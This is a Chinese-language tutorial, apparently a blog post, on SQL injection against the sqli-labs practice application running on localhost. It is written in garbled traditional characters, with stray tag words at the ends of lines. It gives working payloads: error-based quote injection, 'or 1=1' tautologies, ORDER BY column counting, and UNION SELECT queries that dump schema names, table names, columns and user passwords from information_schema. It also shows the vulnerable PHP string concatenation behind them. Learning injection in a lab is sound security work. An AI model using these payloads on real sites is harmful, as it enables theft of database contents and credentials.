咱們能夠在http://127.0.0.1/sqllib/Less-5/?id=1後面直接添加一個 ' ,來看一下效果: sql
從上述錯誤當中,咱們能夠看到提交到sql中的1'在通過sql語句構造後造成 '1'' LIMIT 0,1,多加了一個 ' 。這種方式就是從錯誤信息中獲得咱們所須要的信息,那咱們接下來想如何將多餘的 ' 去掉呢? 數據庫
嘗試 'or 1=1--+ less
此時構造的sql語句就成了 orm
Select ****** where id='1'or 1=1--+' LIMIT 0,1 blog
能夠看到正常返回數據。 排序
此處能夠利用order by。Order by 對前面的數據進行排序,這裏有三列數據,咱們就只能用order by 3,超過3就會報錯。 get
'order by 4--+的結果顯示結果超出。 it
最後從源代碼中分析下爲何會形成注入? io
Sql語句爲$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; table
Id參數在拼接sql語句時,未對id進行任何的過濾等操做,因此當提交 'or 1=1--+,直接構造的sql語句就是
SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1
這條語句因or 1=1 因此爲永恆真。
此外,此處介紹union聯合注入,union的做用是將兩個sql語句進行聯合。Union能夠從下面的例子中能夠看出,強調一點:union先後的兩個sql語句的選擇列數要相同才能夠。Union all與union 的區別是增長了去重的功能。咱們這裏根據上述background的知識,進行information_schema 知識的應用。
http://127.0.0.1/sqllib/Less-1/?id=-1'union select 1,2--+
當id的數據在數據庫中不存在時,(此時咱們能夠id=-1,兩個sql語句進行聯合操做時,當前一個語句選擇的內容爲空,咱們這裏就將後面的語句的內容顯示出來)此處前臺頁面返回了咱們構造的union 的數據。
爆數據庫
此時的sql語句爲SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
爆security數據庫的數據表
此時的sql語句爲SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
爆users表的列
此時的sql語句爲SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
爆數據
此時的sql語句爲SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=2--+ LIMIT 0,1
Less1-less4均可以利用上述union操做進行注入。下面就不進行贅述了。